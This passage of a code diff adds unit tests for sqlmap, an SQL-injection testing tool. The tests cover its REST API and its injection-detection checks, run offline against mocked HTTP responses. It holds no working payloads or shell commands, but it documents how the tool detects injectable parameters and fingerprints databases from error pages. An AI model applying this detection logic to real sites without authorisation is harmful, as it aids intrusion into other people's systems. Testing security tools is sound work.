api.Database.filepath, + } + + # fresh in-memory IPC database (same init the server() function performs) + self.db = api.Database(":memory:") + self.db.connect() + self.db.init() + + api.DataStore.current_db = self.db + api.DataStore.tasks = {} + api.DataStore.admin_token = "a" * 32 + api.DataStore.username = None + api.DataStore.password = None + api.Database.filepath = ":memory:" + + def tearDown(self): + try: + self.db.disconnect() + except Exception: + pass + + api.DataStore.current_db = self._saved["current_db"] + api.DataStore.tasks = self._saved["tasks"] + api.DataStore.admin_token = self._saved["admin_token"] + api.DataStore.username = self._saved["username"] + api.DataStore.password = self._saved["password"] + api.Database.filepath = self._saved["filepath"] + + def _new_task(self): + code, parsed, _ = _wsgi_call("GET", "/task/new") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + return parsed["taskid"] + + +# --------------------------------------------------------------------------- +# Pure helpers / objects +# --------------------------------------------------------------------------- + +class TestGenericHelpers(unittest.TestCase): + def setUp(self): + self._saved_token = api.DataStore.admin_token + + def tearDown(self): + api.DataStore.admin_token = self._saved_token + + def test_is_admin_constant_time_compare(self): + api.DataStore.admin_token = "deadbeef" + self.assertTrue(api.is_admin("deadbeef")) + self.assertFalse(api.is_admin("deadbeer")) + self.assertFalse(api.is_admin(None)) + self.assertFalse(api.is_admin("")) + + +class TestValidateTaskOptions(unittest.TestCase): + def setUp(self): + self._saved_tasks = api.DataStore.tasks + api.DataStore.tasks = {"t1": api.Task("t1", "127.0.0.1")} + + def tearDown(self): + api.DataStore.tasks = self._saved_tasks + + def test_non_dict_rejected(self): + msg = api.validate_task_options("t1", ["level"], "scan_start") + self.assertEqual(msg, "Invalid JSON options") + + def test_unsupported_option_rejected(self): + # reportJson is in RESTAPI_UNSUPPORTED_OPTIONS + msg = api.validate_task_options("t1", {"reportJson": "x.json"}, "scan_start") + self.assertIn("Unsupported option", msg) + self.assertIn("reportJson", msg) + + def test_readonly_option_rejected(self): + # taskid is in RESTAPI_READONLY_OPTIONS + msg = api.validate_task_options("t1", {"taskid": "haxx"}, "option_set") + self.assertIn("Unsupported option", msg) + self.assertIn("taskid", msg) + + def test_unknown_option_rejected(self): + msg = api.validate_task_options("t1", {"nosuchoption": 1}, "option_set") + self.assertIn("Unknown option", msg) + self.assertIn("nosuchoption", msg) + + def test_valid_options_accepted(self): + # a real, supported option returns None (no error message) + self.assertIsNone(api.validate_task_options("t1", {"level": 3, "risk": 2}, "scan_start")) + + +class TestDatabase(unittest.TestCase): + """The IPC Database wrapper: connect/init schema, execute SELECT vs DML, disconnect.""" + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("test") + self.db.init() + + def tearDown(self): + self.db.disconnect() + + def test_init_creates_expected_schema(self): + names = set(row[0] for row in self.db.execute("SELECT name FROM sqlite_master WHERE type='table'")) + self.assertTrue({"logs", "data", "errors"}.issubset(names)) + + def test_init_is_idempotent(self): + # "CREATE TABLE IF NOT EXISTS" - running init twice must not raise + self.db.init() + + def test_execute_select_returns_rows_dml_returns_none(self): + self.assertIsNone(self.db.execute("INSERT INTO errors VALUES(NULL, ?, ?)", ("t1", "boom"))) + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "boom")]) + + def test_disconnect_is_safe_without_connection(self): + fresh = api.Database(":memory:") # never connected + fresh.disconnect() # must not raise + + +class TestTask(unittest.TestCase): + """The Task object: option defaults, set/get/reset, and the no-process engine paths.""" + + def test_initialize_options_sets_api_markers(self): + t = api.Task("abc123", "10.0.0.1") + self.assertEqual(t.remote_addr, "10.0.0.1") + self.assertIs(t.options.api, True) + self.assertEqual(t.options.taskid, "abc123") + self.assertIs(t.options.batch, True) + self.assertIs(t.options.disableColoring, True) + self.assertIs(t.options.eta, False) + + def test_set_get_reset_options(self): + t = api.Task("abc123", "10.0.0.1") + original_level = t.get_option("level") + t.set_option("level", original_level + 4) + self.assertEqual(t.get_option("level"), original_level + 4) + t.reset_options() + self.assertEqual(t.get_option("level"), original_level) + + def test_get_options_returns_attribdict(self): + t = api.Task("abc123", "10.0.0.1") + opts = t.get_options() + self.assertIs(opts, t.options) + self.assertIn("level", opts) + + def test_engine_paths_without_process(self): + t = api.Task("abc123", "10.0.0.1") + self.assertIsNone(t.engine_process()) + self.assertIsNone(t.engine_get_id()) + self.assertIsNone(t.engine_get_returncode()) + self.assertFalse(t.engine_has_terminated()) + self.assertIsNone(t.engine_stop()) + self.assertIsNone(t.engine_kill()) + + +class TestStdDbOutAndLogRecorder(unittest.TestCase): + """ + StdDbOut and LogRecorder write engine output/logs into the IPC database + (conf.databaseCursor). Verify both write paths land the expected rows. + """ + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("client") + self.db.init() + self._saved = { + "stdout": sys.stdout, + "stderr": sys.stderr, + "databaseCursor": conf.get("databaseCursor"), + "taskid": conf.get("taskid"), + "partRun": getattr(__import__("lib.core.data", fromlist=["kb"]).kb, "partRun", None), + } + conf.databaseCursor = self.db + conf.taskid = "t1" + + def tearDown(self): + sys.stdout = self._saved["stdout"] + sys.stderr = self._saved["stderr"] + conf.databaseCursor = self._saved["databaseCursor"] + conf.taskid = self._saved["taskid"] + self.db.disconnect() + + def test_stdout_write_stores_typed_data(self): + # StdDbOut hijacks sys.stdout in __init__; restore it immediately and call write() directly + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved["stdout"] + std.write("MySQL >= 5.0", status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.DBMS_FINGERPRINT) + rows = self.db.execute("SELECT taskid, status, content_type FROM data") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][2], CONTENT_TYPE.DBMS_FINGERPRINT) + # the helpers are noops but must not raise + std.flush(); std.close(); std.seek() + + def test_stderr_write_stores_error(self): + std = api.StdDbOut("t1", messagetype="stderr") + sys.stderr = self._saved["stderr"] + std.write("something failed") + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "something failed")]) + + def test_logrecorder_emit_stores_log(self): + import logging + rec = api.LogRecorder() + record = logging.LogRecord("sqlmap", logging.INFO, __file__, 1, "hello %s", ("world",), None) + rec.emit(record) + rows = self.db.execute("SELECT taskid, level, message FROM logs") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][1], "INFO") + self.assertEqual(rows[0][2], "hello world") + + +# --------------------------------------------------------------------------- +# HTTP routes (WSGI test client) +# --------------------------------------------------------------------------- + +class TestVersionRoute(_ApiServerCase): + def test_version(self): + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("version", parsed) + self.assertEqual(parsed["api_version"], 2) # MAJOR of RESTAPI_VERSION "2.0.0" + + def test_security_headers_applied(self): + app = default_app() + environ = { + "REQUEST_METHOD": "GET", "PATH_INFO": "/version", + "SERVER_NAME": "localhost", "SERVER_PORT": "80", "REMOTE_ADDR": "127.0.0.1", + "wsgi.input": io.BytesIO(), "wsgi.errors": sys.stderr, "wsgi.url_scheme": "http", + } + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["headers"] = dict(response_headers) + + b"".join(app(environ, start_response)) + headers = captured["headers"] + self.assertEqual(headers.get("X-Frame-Options"), "DENY") + self.assertEqual(headers.get("X-Content-Type-Options"), "nosniff") + self.assertIn("application/json", headers.get("Content-Type", "")) + + +class TestTaskLifecycle(_ApiServerCase): + def test_new_and_delete(self): + taskid = self._new_task() + self.assertIn(taskid, api.DataStore.tasks) + + code, parsed, _ = _wsgi_call("GET", "/task/%s/delete" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertNotIn(taskid, api.DataStore.tasks) + + def test_delete_unknown_task_404(self): + code, parsed, _ = _wsgi_call("GET", "/task/deadbeef/delete") + self.assertEqual(code, 404) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Non-existing task ID") + + +class TestOptionRoutes(_ApiServerCase): + def test_option_list(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/option/%s/list" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("level", parsed["options"]) + + def test_option_list_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/option/nope/list") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_then_get(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"level": 4, "risk": 3}) + self.assertTrue(parsed["success"]) + + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["level", "risk"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["options"], {"level": 4, "risk": 3}) + + def test_option_set_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/set", {"level": 1}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_rejects_unsupported(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"reportJson": "x"}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_option_get_unknown_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["nosuchoption"]) + self.assertFalse(parsed["success"]) + self.assertIn("Unknown option", parsed["message"]) + + def test_option_get_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/get", ["level"]) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + +class TestScanQueryRoutes(_ApiServerCase): + """status/data/log on a task that has never launched a subprocess (no scan started).""" + + def test_status_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/status" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["status"], "not running") + self.assertIsNone(parsed["returncode"]) + + def test_status_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/status") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_data_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["data"], []) + self.assertEqual(parsed["error"], []) + + def test_data_returns_stored_rows(self): + taskid = self._new_task() + # store a result row directly into the shared IPC db, then read it back via the route + api._storeData(self.db, taskid, "MySQL >= 5.0", CONTENT_STATUS.COMPLETE, CONTENT_TYPE.DBMS_FINGERPRINT) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(len(parsed["data"]), 1) + self.assertEqual(parsed["data"][0]["type_name"], "DBMS_FINGERPRINT") + self.assertEqual(parsed["data"][0]["value"], "MySQL >= 5.0") + + def test_data_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/data") + self.assertFalse(parsed["success"]) + + def test_log_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], []) + + def test_log_returns_stored_rows(self): + taskid = self._new_task() + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:00", "INFO", "started")) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], [{"time": "00:00:00", "level": "INFO", "message": "started"}]) + + def test_log_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log") + self.assertFalse(parsed["success"]) + + def test_log_limited_subset(self): + taskid = self._new_task() + for i in range(1, 4): + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:0%d" % i, "INFO", "m%d" % i)) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/1/2" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual([m["message"] for m in parsed["log"]], ["m1", "m2"]) + + def test_log_limited_bad_range(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/5/2" % taskid) + self.assertFalse(parsed["success"]) + self.assertIn("must be digits", parsed["message"]) + + def test_log_limited_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log/1/2") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_stop_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/stop" % taskid) + self.assertFalse(parsed["success"]) + + def test_scan_kill_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/kill" % taskid) + self.assertFalse(parsed["success"]) + + +class TestScanStart(_ApiServerCase): + """scan_start, with the subprocess-spawning seam (engine_start) monkeypatched.""" + + def test_scan_start_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/scan/nope/start", {}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_start_rejects_unsupported_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"wizard": True}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_scan_start_launches_engine(self): + taskid = self._new_task() + task = api.DataStore.tasks[taskid] + + calls = {"started": False} + + class _FakeProc(object): + pid = 4242 + returncode = None + + def poll(self): + return None + + def terminate(self): + pass + + def kill(self): + pass + + def wait(self): + return 0 + + def fake_engine_start(): + calls["started"] = True + task.process = _FakeProc() + + original = task.engine_start + task.engine_start = fake_engine_start + try: + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"url": "http://t/?id=1"}) + finally: + task.engine_start = original + + self.assertTrue(calls["started"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["engineid"], 4242) + # the provided option was applied to the task + self.assertEqual(task.get_option("url"), "http://t/?id=1") + + +class TestAdminRoutes(_ApiServerCase): + def test_admin_list_with_token(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/%s/list" % api.DataStore.admin_token) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + self.assertEqual(parsed["tasks_num"], 1) + + def test_admin_list_same_remote_addr_without_token(self): + # /admin/list (no token) sees only tasks from the requesting remote_addr + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="127.0.0.1") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + + def test_admin_list_other_remote_addr_excluded(self): + self._new_task() # created from 127.0.0.1 + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="10.9.9.9") + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["tasks_num"], 0) + + def test_admin_flush_with_token(self): + self._new_task() + self._new_task() + self.assertEqual(len(api.DataStore.tasks), 2) + code, parsed, _ = _wsgi_call("GET", "/admin/%s/flush" % api.DataStore.admin_token) + self.assertTrue(parsed["success"]) + self.assertEqual(len(api.DataStore.tasks), 0) + + def test_admin_flush_only_own_remote_addr(self): + # task from .1, flush requested by .2 (no token) -> task survives + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/flush", remote_addr="10.0.0.2") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, api.DataStore.tasks) + + +class TestAuthentication(_ApiServerCase): + """check_authentication before_request hook (HTTP Basic) when credentials are configured.""" + + def test_no_credentials_allows_access(self): + api.DataStore.username = None + api.DataStore.password = None + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_missing_auth_header_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + code, _, raw = _wsgi_call("GET", "/version") + self.assertEqual(code, 401) + + def test_wrong_credentials_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:wrong", binary=False) + code, _, raw = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + def test_correct_credentials_allowed(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:pass", binary=False) + code, parsed, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_malformed_basic_credentials_denied(self): + # base64 of a string without ':' separator -> denied + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("nocolon", binary=False) + code, _, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 000000000..d0fe284c9 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,504 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/controller/checks.py driven with a MOCKED HTTP layer. + +checks.py is the injection-detection controller; almost everything in it goes +through the network seam (lib.request.connect.Connect, imported into the module +as `Request`). By monkeypatching `Request.queryPage` / `Request.getPage` to +return canned (page, headers/ratio, code) tuples - and stubbing `agent.payload` +where the real payload machinery would require a fully-built target - the +decision logic of each check (the kb.*/conf.*/return-value verdict) can be +exercised offline, without a live target, DBMS, or DNS. + +Every test snapshots and restores the conf/kb fields it touches AND every +module attribute it monkeypatches, so ordering between tests (and with the rest +of the suite) is irrelevant. conf.batch is forced on to avoid interactive +prompts, and readInput is stubbed per-test where a branch would prompt. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.controller.checks as checks +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict, InjectionDict +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import DBMS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import NULLCONNECTION +from lib.core.enums import PLACE +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.common import getCurrentThreadData +from lib.parse.html import htmlParser + + +# conf/kb fields any of the checks read or write; snapshotted wholesale so a +# test never leaks state into another test or the rest of the suite. +_CONF_KEYS = ( + "paramDict", "parameters", "url", "hostname", "method", "skipHeuristics", + "prefix", "suffix", "nosql", "graphql", "ldap", "beep", "string", + "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", + "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", + "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", +) +_KB_KEYS = ( + "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", + "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", + "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", + "nullConnection", "pageCompress", "matchRatio", "skipSeqMatcher", + "choices", "injection", "errorIsNone", "serverHeader", "identifiedWafs", + "tamperFunctions", "resendPostOnRedirect", "checkWafMode", "wafBypass", + "heuristicExtendedDbms", "resumeValues", "mergeCookies", "httpErrorCodes", +) + + +def _snapshot(): + return ( + dict((k, conf.get(k)) for k in _CONF_KEYS), + dict((k, kb.get(k)) for k in _KB_KEYS), + ) + + +def _restore(snap): + confSnap, kbSnap = snap + for k, v in confSnap.items(): + conf[k] = v + for k, v in kbSnap.items(): + kb[k] = v + + +class _ChecksTestBase(unittest.TestCase): + """Snapshots conf/kb and the patchable seams; restores them in tearDown.""" + + def setUp(self): + self._snap = _snapshot() + # remember the real seams so monkeypatches can't leak. agent.payload / + # addPayloadDelimiters are class methods on a shared singleton: patching + # sets an *instance* attribute, so it's restored by deleting that + # attribute (reassigning would leave a stale bound method behind). + self._origQueryPage = checks.Request.queryPage + self._origGetPage = checks.Request.getPage + self._agentHadPayload = "payload" in checks.agent.__dict__ + self._agentHadAddDelims = "addPayloadDelimiters" in checks.agent.__dict__ + self._origReadInput = checks.readInput + self._origDbmsErr = checks.wasLastResponseDBMSError + self._origHttpErr = checks.wasLastResponseHTTPError + self._origCBE = checks.checkBooleanExpression + + # sane offline baseline shared by most checks + conf.batch = True + conf.skipHeuristics = False + conf.prefix = conf.suffix = None + conf.hashDB = None + conf.dummy = conf.offline = conf.proxy = conf.tor = None + kb.choices = AttribDict(keycheck=False) + + def tearDown(self): + checks.Request.queryPage = self._origQueryPage + checks.Request.getPage = self._origGetPage + if not self._agentHadPayload and "payload" in checks.agent.__dict__: + del checks.agent.payload + if not self._agentHadAddDelims and "addPayloadDelimiters" in checks.agent.__dict__: + del checks.agent.addPayloadDelimiters + checks.readInput = self._origReadInput + checks.wasLastResponseDBMSError = self._origDbmsErr + checks.wasLastResponseHTTPError = self._origHttpErr + checks.checkBooleanExpression = self._origCBE + _restore(self._snap) + + # --- helpers --- + + def _patchQueryPage(self, fn): + checks.Request.queryPage = staticmethod(fn) + + def _patchGetPage(self, fn): + checks.Request.getPage = staticmethod(fn) + + @staticmethod + def _contentQuery(page, code=200, headers=None): + """A queryPage that returns (page, headers/ratio, code) when content is + requested and a plain truthiness otherwise.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _detectingContentQuery(page, code=200, headers=None): + """Like _contentQuery, but mirrors the real connection layer's + error-detection seam: it advances the request UID and runs the REAL + htmlParser() over the page (exactly as Connect.getPage() does), so the + page is classified by sqlmap's genuine error regexes. The unstubbed + wasLastResponseDBMSError() then reads the threadData.lastErrorPage this + leaves behind - the heuristic verdict is the detector's, not the stub's.""" + def _fn(*args, **kwargs): + threadData = getCurrentThreadData() + kb.requestCounter = (kb.get("requestCounter") or 0) + 1 + threadData.lastRequestUID = kb.requestCounter + htmlParser(page or "") + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _comparingQuery(page, code=200, headers=None): + """A queryPage that, for a non-content request, runs the REAL + comparison() engine of the injected page against kb.pageTemplate (the + same call Connect.queryPage makes for its True/False verdict). The + matchRatio/seqMatcher dynamicity logic therefore actually executes - + the verdict is computed, not hard-coded.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return checks.comparison(page, headers, code, getRatioValue=False) + return _fn + + +class TestHeuristicCheckSqlInjection(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckSqlInjection, self).setUp() + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://test.invalid/index.php?id=1" + conf.method = None + conf.nosql = conf.graphql = conf.ldap = False + conf.beep = False + kb.heavilyDynamic = False + kb.dynamicParameter = False + kb.originalPage = "" + kb.ignoreCasted = False + # clear any error-page marker left by an earlier request so the real + # wasLastResponseDBMSError() starts from a clean slate + td = getCurrentThreadData() + td.lastErrorPage = tuple() + td.lastRequestUID = 0 + # bypass the full payload-building machinery (needs a built target) + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + + def test_skip_heuristics_returns_none(self): + conf.skipHeuristics = True + self.assertIsNone(checks.heuristicCheckSqlInjection(PLACE.GET, "id")) + + def test_positive_on_dbms_error(self): + # Feed a GENUINE MySQL error page (matches sqlmap's real error regex in + # data/xml/errors.xml) through the detecting stub and let the UNSTUBBED + # wasLastResponseDBMSError() classify it. The POSITIVE verdict is then + # the real detector's, not a hard-coded True. + page = ("You have an error in your SQL syntax; check the " + "manual that corresponds to your MySQL server version") + self._patchQueryPage(self._detectingContentQuery(page)) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.POSITIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.POSITIVE) + + def test_negative_on_clean_page(self): + # A clean page matches none of sqlmap's error regexes, so the unstubbed + # wasLastResponseDBMSError() returns false -> NEGATIVE verdict. + self._patchQueryPage(self._detectingContentQuery("a perfectly ordinary page")) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.NEGATIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.NEGATIVE) + + def test_records_page_and_resets_mode(self): + self._patchQueryPage(self._detectingContentQuery("nothing special here")) + checks.heuristicCheckSqlInjection(PLACE.GET, "id") + # mode flags must be flipped back off after the check + self.assertFalse(kb.heuristicMode) + self.assertFalse(kb.disableHtmlDecoding) + + +class TestHeuristicCheckDbms(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckDbms, self).setUp() + kb.injection = InjectionDict() + + def test_skip_heuristics_returns_false(self): + conf.skipHeuristics = True + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_no_match_when_all_expressions_false(self): + checks.checkBooleanExpression = lambda expr: False + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_identifies_dbms_on_distinguishing_pair(self): + # An expr-AWARE oracle that recognises ONLY the predicate + # heuristicCheckDbms() builds for one CHOSEN target DBMS. The function + # iterates every DBMS, forging for each the pair + # positive: (SELECT '')= -> must be True + # negative: (SELECT '')= -> must be False + # ( == SINGLE_QUOTE_MARKER, r1 != r2). The DBMS is reported only when + # the positive holds AND the negative fails. The oracle below returns + # True exactly for that shape - it keys off the chosen DBMS's UNIQUE + # FROM clause (so no other DBMS's predicate matches) and off the two + # quoted literals being equal (so the "must differ" negative is False). + # Firebird is chosen because its FROM clause (' FROM RDB$DATABASE') is + # unique in FROM_DUMMY_TABLE and it is not a HEURISTIC_NULL_EVAL DBMS, + # so heuristicCheckDbms() takes the SELECT-literal predicate path for it. + target = DBMS.FIREBIRD + targetFrom = FROM_DUMMY_TABLE[target] + predicate = re.compile( + r"\(SELECT '([^']*)'( FROM [^)]*)?\)=" + + re.escape(SINGLE_QUOTE_MARKER) + r"(.*?)" + re.escape(SINGLE_QUOTE_MARKER) + ) + + def oracle(expr): + match = predicate.search(expr) + if not match: + return False + selected, fromClause, compared = match.group(1), match.group(2) or "", match.group(3) + # True only for the target DBMS's FROM clause with matching literals + return fromClause == targetFrom and selected == compared + + checks.checkBooleanExpression = oracle + result = checks.heuristicCheckDbms(InjectionDict()) + # real predicate matching must single out the chosen DBMS, not whatever + # getPublicTypeMembers() happens to yield first + self.assertEqual(result, target) + self.assertEqual(kb.heuristicExtendedDbms, target) + + +class TestCheckDynParam(_ChecksTestBase): + # A stable baseline page that checkDynParam's injected response is compared + # against by the REAL comparison() engine. Long enough that difflib's + # quick_ratio is meaningful rather than degenerate. + _BASELINE = ("Welcome" + + "the quick brown fox jumps over the lazy dog. " * 20 + + "") + + def setUp(self): + super(TestCheckDynParam, self).setUp() + conf.method = None + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + # state the real comparison() engine reads + conf.string = conf.notString = conf.regexp = conf.code = None + conf.titles = conf.textOnly = False + kb.nullConnection = False + kb.heavilyDynamic = False + kb.skipSeqMatcher = False + kb.errorIsNone = False + kb.negativeLogic = False + kb.pageCompress = False + kb.matchRatio = None + kb.pageTemplate = self._BASELINE + + def test_redirect_short_circuits(self): + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkDynParam(PLACE.GET, "id", "1")) + + def test_dynamic_when_page_differs(self): + # A response wildly different from the baseline drives the real + # comparison() ratio below LOWER_RATIO_BOUND -> queryPage returns False + # (page differs) -> parameter is dynamic. + self._patchQueryPage(self._comparingQuery("totally unrelated content " + "Z" * 200)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertTrue(result) + self.assertTrue(kb.dynamicParameter) + + def test_not_dynamic_when_page_same(self): + # An identical response yields ratio 1.0 (> UPPER_RATIO_BOUND) from the + # real comparison() -> queryPage returns True (page same) -> not dynamic. + self._patchQueryPage(self._comparingQuery(self._BASELINE)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertFalse(result) + self.assertFalse(kb.dynamicParameter) + + +class TestCheckDynamicContent(_ChecksTestBase): + def setUp(self): + super(TestCheckDynamicContent, self).setUp() + kb.nullConnection = False + + def test_null_connection_skips(self): + kb.nullConnection = NULLCONNECTION.HEAD + self.assertIsNone(checks.checkDynamicContent("a", "b")) + + def test_missing_page_aborts(self): + self.assertIsNone(checks.checkDynamicContent(None, "x")) + + def test_identical_pages_no_dynamicity(self): + # high ratio -> no dynamic-content engine, no further requests + self._patchQueryPage(lambda *a, **kw: self.fail("should not request")) + self.assertIsNone(checks.checkDynamicContent("identical content", "identical content")) + + +class TestCheckStability(_ChecksTestBase): + def setUp(self): + super(TestCheckStability, self).setUp() + kb.originalPageTime = time.time() + kb.nullConnection = False + + def test_stable_when_pages_match(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + self.assertTrue(checks.checkStability()) + self.assertTrue(kb.pageStable) + + def test_redirect_returns_none(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkStability()) + + def test_unstable_continue_choice(self): + kb.originalPage = "FIRST PAGE CONTENT" + conf.retries = 0 + kb.heavilyDynamic = False + checks.readInput = lambda *a, **kw: "C" + + def _q(*a, **kw): + if kw.get("content"): + return ("SECOND DIFFERENT PAGE", None, 200) + return True # keeps checkDynamicContent's retry loop from firing + self._patchQueryPage(_q) + + result = checks.checkStability() + self.assertFalse(result) + self.assertFalse(kb.pageStable) + + def test_unstable_string_choice_sets_conf_string(self): + kb.originalPage = "FIRST" + 